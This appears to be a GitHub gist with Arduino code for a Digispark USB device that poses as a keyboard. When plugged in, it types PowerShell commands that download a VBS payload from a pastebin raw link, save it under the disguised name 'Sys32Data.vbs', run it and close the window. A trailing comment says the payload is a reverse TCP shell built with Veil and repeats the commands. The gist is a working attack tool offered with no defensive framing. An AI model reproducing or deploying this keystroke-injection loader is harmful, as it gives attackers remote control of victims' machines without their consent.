Created
April 19, 2020 01:28
-
-
Save iklobato/08d5c54a6308936c59d6606923ea081a to your computer and use it in GitHub Desktop.
DigisparkReversheShell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "DigiKeyboard.h" | |
void setup() { | |
} | |
void loop() { | |
int d=2500; | |
DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT); | |
DigiKeyboard.delay(d); | |
DigiKeyboard.sendKeyStroke(0,MOD_GUI_LEFT); | |
DigiKeyboard.delay(d); | |
DigiKeyboard.print("powershell"); | |
DigiKeyboard.delay(d); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
DigiKeyboard.delay(d); | |
DigiKeyboard.print("$client = new-object System.Net.WebClient"); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
DigiKeyboard.print("$client.DownloadFile("); | |
DigiKeyboard.sendKeyStroke(0x35); | |
DigiKeyboard.print("http?"); | |
DigiKeyboard.sendKeyStroke(0x54); | |
DigiKeyboard.sendKeyStroke(0x54); | |
DigiKeyboard.print("www.pastebin.com"); | |
DigiKeyboard.sendKeyStroke(0x54); | |
DigiKeyboard.print("raw"); | |
DigiKeyboard.sendKeyStroke(0x54); | |
DigiKeyboard.print("xxxxx"); | |
DigiKeyboard.sendKeyStroke(0x35); | |
DigiKeyboard.print(","); | |
DigiKeyboard.sendKeyStroke(0x35); | |
DigiKeyboard.print("Sys32Data.vbs"); | |
DigiKeyboard.sendKeyStroke(0x35); | |
DigiKeyboard.print(")"); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
DigiKeyboard.print("start Sys32Data.vbs"); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT); | |
DigiKeyboard.delay(50000); | |
for(;;){}; | |
} | |
# 1. Create Reverse TCP SHell with Veil | |
//powershell | |
//$client = new-object System.Net.WebClient | |
//$client.DownloadFile('http//www.pastebin.com/raw/XXXXX','Sys32Data.vbs') | |
//start Sys32Data.vbs | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment